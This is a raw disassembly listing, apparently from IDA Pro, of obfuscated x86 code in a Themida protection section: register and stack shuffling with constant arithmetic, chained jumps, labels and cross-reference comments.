loc_59BBCE: ; CODE XREF: Themida_:005A28C5j
not dword ptr [esp]
pop edx
push 542h
mov [esp], eax
push ebx
mov ebx, 0
push edx
mov edx, ebx
mov eax, edx
pop edx
pop ebx
add eax, 1F8D0E33h
push 632Dh
mov [esp], esi
mov esi, 63533064h
add eax, esi
jmp loc_59AEEF
; ---------------------------------------------------------------------------
loc_59BC00: ; CODE XREF: Themida_:00597875j
add esp, 4
add ecx, 0C3D0BC01h
mov ebx, ecx
push dword ptr [esp]
pop ecx
push edi
jmp loc_591760
; ---------------------------------------------------------------------------
loc_59BC18: ; CODE XREF: Themida_:005A10D6j
sub bl, 44h
add bl, 78h
jmp loc_5953F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_59BC23: ; CODE XREF: sub_59FD45+CE6j
push eax
mov eax, 47C13A57h
neg eax
push ebp
mov ebp, 8B9EDC26h
jmp loc_5A3E4A
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
loc_59BC36: ; CODE XREF: Themida_:00596004j
push edi
mov edi, esp
jmp loc_596370
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59333E
loc_59BC3E: ; CODE XREF: sub_59333E+8j
sub ebx, 0EE056062h
mov ecx, ebx
jmp loc_59E567
; END OF FUNCTION CHUNK FOR sub_59333E
; ---------------------------------------------------------------------------
loc_59BC4B: ; CODE XREF: Themida_:005A0303j
push ebp
mov ebp, 1363054Dh
or ebp, 3CFD4603h
xor ebp, 169B7C77h
jmp loc_59525C
; ---------------------------------------------------------------------------
loc_59BC62: ; CODE XREF: Themida_:0059C62Fj
add edx, 44915E4Ah
push ebx
push 7B7Dh
jmp loc_592384
; ---------------------------------------------------------------------------
loc_59BC73: ; CODE XREF: Themida_:00594BD0j
add esi, 51C16F87h
jmp loc_5A0B0E
; ---------------------------------------------------------------------------
loc_59BC7E: ; CODE XREF: Themida_:0059C761j
xor eax, 28E94CFBh
jmp loc_59FA52
; ---------------------------------------------------------------------------
loc_59BC88: ; CODE XREF: Themida_:00594E40j
pop esp
push ebx
mov bh, 87h
push eax
mov ah, 0C5h
jmp loc_592001
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59BC94: ; CODE XREF: sub_59390B+F39j
xor [esp+14h+var_14], ebp
xor ebp, [esp+14h+var_14]
mov esp, [esp+14h+var_14]
mov [esp+14h+var_14], eax
add [esp+14h+var_14], 738D25F9h
push [esp+14h+var_14]
push [esp+18h+var_18]
pop eax
add esp, 4
add esp, 4
jmp sub_5A059C
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59BCBC: ; CODE XREF: Themida_:00597ED1j
mov esi, eax
pop eax
add edx, esi
pop esi
push ebx
jmp loc_59D5C6
; =============== S U B R O U T I N E =======================================
sub_59BCC8 proc near ; CODE XREF: sub_59A5DB+11j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005A06A6 SIZE 00000024 BYTES
push ebp
mov ebp, 4
sub ebx, 4A9E7E49h
add ebx, ebp
add ebx, 4A9E7E49h
jmp loc_5A06A6
sub_59BCC8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59731A
loc_59BCE1: ; CODE XREF: sub_59731A+57A5j
pop eax
not eax
jmp loc_5A0E6F
; END OF FUNCTION CHUNK FOR sub_59731A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E716
loc_59BCE9: ; CODE XREF: sub_59E716+5j
push 67h
mov [esp+4+var_4], edi
sub esp, 4
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
mov edi, [esp+8+var_8]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_5A333E
; END OF FUNCTION CHUNK FOR sub_59E716
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592A27
loc_59BD12: ; CODE XREF: sub_592A27+EF16j
mov [esp+0], ebp
jmp loc_5A21B7
; END OF FUNCTION CHUNK FOR sub_592A27
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_59BD1A: ; CODE XREF: sub_59FD45+5E52j
mov ebx, [esp-4+arg_0]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_599AED
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
loc_59BD2B: ; CODE XREF: Themida_:00598858j
mov [esp], ebp
push esp
pop ebp
add ebp, 4
push ecx
push esp
jmp loc_590FB2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591F0D
loc_59BD3D: ; CODE XREF: sub_591F0D+D8FFj
add edx, ebx
pop ebx
xchg edx, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
jmp loc_5A15E6
; END OF FUNCTION CHUNK FOR sub_591F0D
; ---------------------------------------------------------------------------
loc_59BD4B: ; CODE XREF: Themida_:0059B847j
push dword ptr [esp]
pop edi
add esp, 4
push ebp
push edx
mov edx, 4
mov ebp, edx
pop edx
sub edi, 61540413h
jmp loc_59BE8E
; ---------------------------------------------------------------------------
loc_59BD67: ; CODE XREF: Themida_:0059B83Cj
mov esp, [esp]
bswap eax
push 3FA3h
jmp loc_5A47F6
; ---------------------------------------------------------------------------
loc_59BD76: ; CODE XREF: Themida_:0059E167j
mov ecx, 6D8D7EF6h
dec ecx
jmp loc_591447
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59BD81: ; CODE XREF: sub_59390B+5EFFj
mov ebp, 19DF7918h
sub ebp, 3FA72FF5h
not ebp
shl ebp, 4
jmp loc_5A11BB
; ---------------------------------------------------------------------------
loc_59BD96: ; CODE XREF: sub_59390B+611j
mov ebp, [esp-8+arg_0]
add esp, 4
jmp loc_5988DD
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59654E
loc_59BDA4: ; CODE XREF: sub_59654E-B34j
add ecx, eax
pop eax
jmp loc_59E7DE
; END OF FUNCTION CHUNK FOR sub_59654E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_59BDAC: ; CODE XREF: sub_59A75E+199Fj
sub ax, bx
push edi
mov di, 5355h
not di
xor di, 679Ah
add di, 0A164h
jmp loc_59279F
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
loc_59BDC6: ; CODE XREF: Themida_:005960D8j
inc edi
inc edi
push ebx
mov ebx, 15E8372Fh
jmp loc_59D61C
; =============== S U B R O U T I N E =======================================
sub_59BDD3 proc near ; CODE XREF: sub_598762+6B18j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00592C49 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00595975 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005975AF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00597BD4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059C5F4 SIZE 00000017 BYTES
sub esp, 4
mov [esp+4+var_4], ebp
mov esi, [esp+4+var_4]
add esp, 4
pop ebp
add esi, 2DB7324Ch
jmp loc_595975
sub_59BDD3 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59BDEE: ; CODE XREF: sub_59390B+1342j
mov edx, 0FFFFFFFFh
add esi, edx
pop edx
push ebp
mov ebp, 7DDB31A9h
inc ebp
xor ebp, edi
jmp loc_597182
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F8C2
loc_59BE04: ; CODE XREF: sub_59F8C2-6977j
mov esi, 1E976DDBh
jmp loc_59460B
; END OF FUNCTION CHUNK FOR sub_59F8C2
; ---------------------------------------------------------------------------
loc_59BE0E: ; CODE XREF: Themida_:0059CC13j
add edi, 2BC042F3h
dec edi
push 4EDFh
mov [esp], ebx
mov ebx, 3627CD01h
xor edi, ebx
push dword ptr [esp]
jmp loc_5917FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59BE2C: ; CODE XREF: sub_59390B-C46j
pop esp
mov [esp-1Ch+arg_14], eax
push ecx
mov cl, 49h
jmp loc_5A3D52
; ---------------------------------------------------------------------------
loc_59BE38: ; CODE XREF: sub_59390B+961Dj
push ecx
mov cl, al
mov dh, cl
pop ecx
mov eax, [esp-18h+arg_10]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_5A02BB
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59654E
loc_59BE52: ; CODE XREF: sub_59654E-3693j
and ecx, 0CA14D9Eh
xor ecx, 0C816980h
mov edi, ecx
pop ecx
and eax, edi
push dword ptr [esp+0]
jmp loc_597987
; END OF FUNCTION CHUNK FOR sub_59654E
; ---------------------------------------------------------------------------
loc_59BE6B: ; CODE XREF: Themida_:005A2354j
sub ebp, 555B3825h
jmp loc_5915D7
; ---------------------------------------------------------------------------
loc_59BE76: ; CODE XREF: Themida_:00595ED4j
push ebp
mov ebp, 217B2556h
and ebp, 364725C2h
sub ebp, 380D46B2h
inc ebp
jmp loc_59B60D
; ---------------------------------------------------------------------------
loc_59BE8E: ; CODE XREF: Themida_:0059BD62j
add edi, ebp
push ebx
mov ebx, 73162A5Dh
push esi
mov esi, 706C2A58h
and ebx, esi
jmp loc_59B415
; ---------------------------------------------------------------------------
loc_59BEA3: ; CODE XREF: Themida_:005989D5j
mov ch, 0C8h
xor ch, 0A3h
mov bl, ch
pop ecx
dec bl
jmp loc_5A0C3F
; ---------------------------------------------------------------------------
loc_59BEB2: ; CODE XREF: Themida_:005A30CAj
shl dh, 4
sub dh, 2Bh
sub esp, 2
mov [esp], dx
xchg bh, [esp+1]
not bh
jmp loc_59270E
; ---------------------------------------------------------------------------
loc_59BECA: ; CODE XREF: Themida_:0059D680j
mov ecx, [esp]
add esp, 4
add ebp, edx
add ebp, 77D22F81h
jmp loc_594CC6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2801
loc_59BEE0: ; CODE XREF: sub_5A2801-90EAj
mov ecx, [esp+0Ch+var_C]
add esp, 4
add esp, 4
mov edi, [esp+4+var_4]
push edx
mov edx, esp
jmp loc_59CF3E
; END OF FUNCTION CHUNK FOR sub_5A2801
; ---------------------------------------------------------------------------
loc_59BEF4: ; CODE XREF: Themida_:005953E6j
push edi
push ebp
jmp loc_5934D9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59BEFB: ; CODE XREF: sub_59390B+C40Cj
sub ebx, eax
add ebx, 83006C0h
push ecx
jmp loc_59243D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59BF09: ; CODE XREF: Themida_:00599DD5j
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], eax
sub esp, 4
push esp
jmp loc_597A4A
; =============== S U B R O U T I N E =======================================
sub_59BF22 proc near ; DATA XREF: Themida_:0059099Co
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00592824 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00597B4C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059A9FB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059F628 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A03AF SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A0F55 SIZE 0000001D BYTES
mov ax, [esp+0]
push 24D3h
mov [esp+4+var_4], eax
sub esp, 4
mov [esp+8+var_8], esp
jmp loc_5A0F55
sub_59BF22 endp
; ---------------------------------------------------------------------------
loc_59BF39: ; CODE XREF: Themida_:005977E5j
mov edx, [esp]
push ebx
mov ebx, esp
jmp loc_5925A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A21DE
loc_59BF44: ; CODE XREF: sub_5A21DE+2Cj
mov [esp+0], ebp
sub esp, 4
mov [esp+4+var_4], ebx
push 507C3885h
push [esp+8+var_8]
mov ebx, [esp+0Ch+var_C]
add esp, 4
push edx
mov edx, esp
add edx, 4
jmp loc_59995F
; END OF FUNCTION CHUNK FOR sub_5A21DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D9FE
loc_59BF6C: ; CODE XREF: sub_59D9FE+Bj
mov edx, 21912534h
sub edx, ebx
pop ebx
sub esp, 4
jmp loc_5939E3
; END OF FUNCTION CHUNK FOR sub_59D9FE
; ---------------------------------------------------------------------------
loc_59BF7F: ; CODE XREF: Themida_:0059B5BCj
mov eax, [esp]
add esp, 4
add ecx, ebx
add ecx, 74306113h
pop ebx
sub esp, 4
mov [esp], esi
push ebx
jmp loc_5A40B0
; ---------------------------------------------------------------------------
loc_59BF9D: ; CODE XREF: Themida_:0059311Aj
mov ebx, 6EE01D3h
not ebx
push ebp
mov ebp, 6D2C3A06h
or ebx, ebp
jmp loc_59AC35
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59918B
loc_59BFB1: ; CODE XREF: sub_59918B+37CEj
add esp, 4
push esi
mov esi, esp
push eax
jmp loc_5A2B35
; END OF FUNCTION CHUNK FOR sub_59918B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D1FC
loc_59BFBD: ; CODE XREF: sub_59D1FC+46D7j
mov ebx, [esp+4+var_4]
add esp, 4
and ebx, 273015D8h
add ebx, 0B12DD1Bh
push ebx
pop eax
pop ebx
mov esi, eax
push [esp-4+arg_0]
pop eax
push edx
mov edx, esp
push eax
mov eax, 0B3A69A9h
shr eax, 5
push edi
mov edi, 70A30511h
jmp loc_596C78
; END OF FUNCTION CHUNK FOR sub_59D1FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5971C0
loc_59BFEF: ; CODE XREF: sub_5971C0+AFF2j
mov eax, 27EB4B40h
sub ebx, eax
pop eax
sub edi, 4A95CDDh
push ebp
mov ebp, 6A4F5FEEh
add edi, ebp
pop ebp
add edi, ebx
sub edi, 6A4F5FEEh
add edi, 4A95CDDh
mov ebx, [esp-4+arg_0]
jmp sub_5917E1
; END OF FUNCTION CHUNK FOR sub_5971C0
; ---------------------------------------------------------------------------
loc_59C01C: ; CODE XREF: Themida_:005A3122j
sub ebx, esi
jmp loc_59F1EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59C023: ; CODE XREF: sub_59390B+332Fj
add esp, 4
jmp loc_5941A2
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0733
loc_59C02B: ; CODE XREF: sub_5A0733-5AE8j
push 0FFEEF596h
mov ebp, [esp+10h+var_10]
add esp, 4
add eax, 37261E88h
sub eax, ebp
push edi
mov edi, 6F571B4Fh
shl edi, 8
add edi, 0FFFFFFFFh
push ecx
mov ecx, 3EA50B8Ch
sub edi, ecx
pop ecx
push eax
jmp loc_59C73E
; END OF FUNCTION CHUNK FOR sub_5A0733
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F8C2
loc_59C05B: ; CODE XREF: sub_59F8C2+61E2j
sub eax, 67FD7437h
dec eax
xor eax, 8C71AFB0h
mov ebx, eax
jmp loc_5A51BD
; END OF FUNCTION CHUNK FOR sub_59F8C2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59C06D: ; CODE XREF: sub_59390B+8CCj
pop ebx
sub ebx, 2F5975A7h
push 38E4h
mov [esp+0Ch+var_C], edx
mov edx, 0FBFA76F4h
jmp loc_5930FB
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594D13
loc_59C086: ; CODE XREF: sub_594D13+9D03j
not ecx
xor ecx, 8CC6860Dh
mov edi, ecx
pop ecx
xor eax, edi
jmp loc_5969FF
; END OF FUNCTION CHUNK FOR sub_594D13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59C098: ; CODE XREF: sub_59390B+CC58j
push edi
mov edi, 5BFF4A4Fh
jmp loc_599A73
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59C0A3: ; CODE XREF: Themida_:0059C9E4j
add edi, 22F56F11h
sub edi, 0BBD5DF35h
sub eax, 39511111h
add eax, edi
add eax, 39511111h
pop edi
push ebx
jmp loc_59984D
; ---------------------------------------------------------------------------
loc_59C0C2: ; CODE XREF: Themida_:005A33B8j
xor edx, 63F32B38h
jmp loc_59EF77
; ---------------------------------------------------------------------------
loc_59C0CD: ; CODE XREF: Themida_:0059788Ej
mov ch, bh
pop ebx
pop eax
sub ch, 0FFh
jmp loc_59AE91
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_59C0D9: ; CODE XREF: sub_59FCCB+1678j
pop edx
sub al, bl
pop ebx
push ecx
mov ch, 77h
add ch, 0E8h
add bl, ch
jmp loc_59198E
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_59C0EA: ; CODE XREF: sub_59A75E-3D7j
pop eax
add edi, 4
xchg edi, [esp+6+var_8+2]
pop esp
sub ax, 273Eh
add ax, 6C94h
jmp loc_59BDAC
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
loc_59C102: ; CODE XREF: Themida_:005A33DAj
add edx, 4
push 348Fh
mov [esp], edx
jmp loc_5A3AF1
; ---------------------------------------------------------------------------
loc_59C115: ; CODE XREF: Themida_:00591620j
add esp, 4
shl ebx, 5
add ebx, 0D8D633Eh
jmp loc_59B5A1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A113A
loc_59C129: ; CODE XREF: sub_5A113A+240Cj
add esi, 4
xchg esi, [esp+0Ch+var_C]
pop esp
add ebx, 4
push ebp
mov ebp, 2
jmp loc_5A224C
; END OF FUNCTION CHUNK FOR sub_5A113A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59C144: ; CODE XREF: sub_59390B+DB89j
push eax
mov eax, 4
add edi, eax
jmp loc_5930D1
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59C151: ; CODE XREF: Themida_:00599866j
xor ebx, 678C407Fh
add ebx, 0FEF6D822h
sub eax, ebx
pop ebx
sub eax, edx
push ebx
mov ebx, 382C02D7h
jmp loc_5A0ECB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_598762
loc_59C16D: ; CODE XREF: sub_598762+B114j
mov edi, 4
add edx, edi
pop edi
xchg edx, [esp+18h+var_18]
pop esp
add esp, 4
pop [esp+10h+var_10]
mov esp, [esp+0Ch+var_C]
mov ax, [esp-4+arg_0]
sub esp, 4
jmp loc_59F3BB
; END OF FUNCTION CHUNK FOR sub_598762
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0733
loc_59C191: ; CODE XREF: sub_5A0733+6j
push 65FDh
mov [esp+8+var_8], eax
push 7DD5724Dh
jmp loc_5A02E7
; END OF FUNCTION CHUNK FOR sub_5A0733
; ---------------------------------------------------------------------------
loc_59C1A3: ; CODE XREF: Themida_:00596C11j
sub bl, 1
jmp loc_5A10D0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59C1AB: ; CODE XREF: sub_59390B+F80Cj
mov cx, word ptr [esp+14h+var_14]
push 32Eh
mov [esp+18h+var_18], ebx
jmp loc_59B154
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59C1BC: ; CODE XREF: Themida_:0059FF4Cj
xor edx, [esp]
jmp loc_5A0889
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59C1C4: ; CODE XREF: sub_59390B+F198j
pop dx
push 2EEEh
mov [esp+0], ebx
push 769h
mov [esp+0], ecx
sub esp, 4
mov [esp+0], eax
mov ah, 9Fh
neg ah
push edx
mov dl, 54h
jmp loc_5A240F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59C1EB: ; CODE XREF: Themida_:0059119Cj
mov esi, 738F7BE1h
shr esi, 4
push eax
jmp loc_5A1A39
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], edx
mov edx, esp
push esi
jmp loc_597ECB
; ---------------------------------------------------------------------------
loc_59C20E: ; CODE XREF: Themida_:005A4C31j
push 3078h
mov [esp], ebx
push ebp
mov ebp, 1E71162Ch
mov ebx, 0B3A79C6h
xor ebx, ebp
mov ebp, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_59E602
; ---------------------------------------------------------------------------
loc_59C23A: ; CODE XREF: Themida_:0059F500j
pop ecx
pop eax
add edx, 2
jmp loc_59FF46
; ---------------------------------------------------------------------------
loc_59C244: ; CODE XREF: Themida_:0059AA74j
pop edx
sub esi, 27C023BFh
jmp loc_590E6A
; ---------------------------------------------------------------------------
loc_59C250: ; CODE XREF: Themida_:005A49F6j
mov eax, 919DFEBDh
xor ecx, eax
pop eax
xor eax, ecx
pop ecx
push esi
mov esi, 0BD653E5h
jmp loc_599785
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0D58
loc_59C266: ; CODE XREF: sub_5A0D58+49EDj
xor edx, 38F740h
jmp loc_593A2A
; END OF FUNCTION CHUNK FOR sub_5A0D58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2D8D
loc_59C271: ; CODE XREF: sub_5A2D8D-1118Fj
sub edi, 44AD59C5h
add ecx, edi
mov edi, [esp+0]
add esp, 4
push edi
mov edi, 2
push eax
mov eax, 657321F9h
add ecx, eax
pop eax
push ebp
mov ebp, 19BF6875h
dec ebp
inc ebp
sub ebp, 0DB0E666Dh
sub ecx, ebp
pop ebp
jmp loc_593FDD
; END OF FUNCTION CHUNK FOR sub_5A2D8D
; ---------------------------------------------------------------------------
loc_59C2A4: ; CODE XREF: Themida_:00592C1Cj
mov dl, cl
pop ecx
jmp loc_59EB20
; ---------------------------------------------------------------------------
loc_59C2AC: ; CODE XREF: Themida_:005A58EEj
add esi, 0C33A8DBAh
mov ebp, esi
mov esi, [esp]
jmp loc_59811C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59C2BC: ; CODE XREF: sub_59390B+10258j
push 1BBDh
mov [esp+0], ecx
sub esp, 4
push esp
pop dword ptr [esp+0]
add dword ptr [esp+0], 4
pop ecx
push ebp
mov ebp, esp
jmp loc_591269
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59C2DB: ; CODE XREF: Themida_:00597552j
xor edx, 73356929h
and edx, 7ADA3497h
xor edx, 3B8F2428h
jmp loc_59FAF7
; ---------------------------------------------------------------------------
loc_59C2F2: ; CODE XREF: Themida_:0059DD4Dj
sub edx, ebx
pop ebx
and ebp, edx
pop edx
sub ebp, 0FFFFFFFFh
push esi
jmp loc_59979A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_59C301: ; CODE XREF: sub_591FC5+65A2j
xor [esp+1], dh
xor dh, [esp+1]
xor [esp+1], dh
mov cx, [esp+0]
jmp loc_59E066
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3F6E
loc_59C316: ; CODE XREF: sub_5A3F6E-489Bj
mov ebp, 192A18CFh
or ebp, 6D97C44h
shl ebp, 1
jmp loc_5A1B3A
; END OF FUNCTION CHUNK FOR sub_5A3F6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59C328: ; CODE XREF: sub_59390B+3B2j
shl ebx, 1
inc ebx
or ebx, 10D373EEh
shl ebx, 1
jmp loc_59C396
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59C338: ; CODE XREF: Themida_:005946FBj
shl esi, 4
shl esi, 6
xor esi, 0D6E22F5Eh
jmp loc_59A921
; ---------------------------------------------------------------------------
loc_59C349: ; CODE XREF: Themida_:005998E7j
add ecx, ebx
pop ebx
sub ecx, 66035E41h
push edi
mov edi, 56A3058Eh
sub ecx, edi
pop edi
jmp loc_59D9C1
; ---------------------------------------------------------------------------
loc_59C360: ; CODE XREF: Themida_:00598937j
pop esp
jmp loc_598C16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5999A4
loc_59C366: ; CODE XREF: sub_5999A4+3123j
xchg eax, ecx
not eax
push ebx
mov ebx, 6AEA2D89h
shl ebx, 8
inc ebx
xor ebx, 0CF49B217h
add eax, 59B87B62h
sub eax, ebx
jmp loc_597CA1
; END OF FUNCTION CHUNK FOR sub_5999A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59667F
loc_59C385: ; CODE XREF: sub_59667F+A645j
pop ebx
pop edx
jmp sub_5995FC
; END OF FUNCTION CHUNK FOR sub_59667F
; ---------------------------------------------------------------------------
loc_59C38C: ; CODE XREF: Themida_:0059C4BCj
push 5158h
jmp loc_5A2AD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59C396: ; CODE XREF: sub_59390B+8A28j
sub ebx, 0FEB5A8ADh
jmp loc_5921FE
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59C3A1: ; CODE XREF: Themida_:00599E05j
mov eax, esp
jmp loc_5A07D2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FE1
loc_59C3A8: ; CODE XREF: sub_591FE1+3B95j
add ebp, edi
pop edi
add ebp, 4
xchg ebp, [esp+4+var_4]
jmp loc_593852
; END OF FUNCTION CHUNK FOR sub_591FE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590AC5
loc_59C3B9: ; CODE XREF: sub_590AC5+A3C7j
push 728Fh
mov [esp+0], ecx
jmp loc_5A57D3
; END OF FUNCTION CHUNK FOR sub_590AC5
; ---------------------------------------------------------------------------
loc_59C3C6: ; CODE XREF: Themida_:0059D58Cj
or ecx, 4E3670ADh
dec ecx
sub ecx, 0FFFFFFFFh
dec ecx
and ecx, 76D51AA9h
sub ecx, 5A82B68Ch
mov edx, ecx
pop ecx
push ebp
mov ebp, 10EC48D4h
xor edx, ebp
jmp loc_59E540
; ---------------------------------------------------------------------------
loc_59C3ED: ; CODE XREF: Themida_:00592636j
push dword ptr [esp]
pop ebx
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_5A0484
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59C403: ; CODE XREF: sub_59390B-1DDEj
add esp, 4
mov esi, [esp-10h+arg_8]
jmp loc_59EF3E
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59C40E: ; CODE XREF: Themida_:00592CD5j
add esi, 4
jmp loc_5A1600
; ---------------------------------------------------------------------------
loc_59C419: ; CODE XREF: Themida_:005A4F31j
mov cl, 62h
inc cl
jmp loc_592BFC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59C422: ; CODE XREF: sub_59390B-204Bj
pop edx
sub ebx, edi
jmp loc_59555C
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594DA8
loc_59C42A: ; CODE XREF: sub_594DA8+D6F3j
add esp, 4
jmp loc_59D09B
; END OF FUNCTION CHUNK FOR sub_594DA8
; ---------------------------------------------------------------------------
loc_59C435: ; CODE XREF: Themida_:005A560Ej
add ecx, ebx
pop ebx
pop esi
xchg ecx, [esp]
mov esp, [esp]
movsx cx, al
push small 3FB2h
mov [esp], cx
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590AC5
loc_59C450: ; CODE XREF: sub_590AC5+13499j
mov edx, [esp+0]
push ebx
sub esp, 4
push esp
jmp loc_59AE89
; END OF FUNCTION CHUNK FOR sub_590AC5
; ---------------------------------------------------------------------------
loc_59C45D: ; CODE XREF: Themida_:005A1A99j
xor eax, ebx
push 3ACh
mov [esp], ebp
mov ebp, 51966536h
push ebx
mov ebx, 1
push edx
mov edx, 25C17F89h
jmp loc_5A3829
; ---------------------------------------------------------------------------
loc_59C47D: ; CODE XREF: Themida_:005A1ABFj
add edx, edi
pop edi
push 626Ch
jmp loc_59263B
; ---------------------------------------------------------------------------
loc_59C48A: ; CODE XREF: Themida_:0059377Fj
xchg bx, [esp]
not bx
xchg bx, [esp]
mov si, [esp]
add esp, 2
sub esp, 2
jmp loc_5A3E13
; ---------------------------------------------------------------------------
loc_59C4A4: ; DATA XREF: Themida_:005907F4o
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], al
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_59C4B3: ; CODE XREF: Themida_:0059B1D8j
mov eax, [esp]
add esp, 4
jmp loc_59C38C
; ---------------------------------------------------------------------------
loc_59C4C1: ; CODE XREF: Themida_:005957D4j
push esi
jmp loc_59750D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
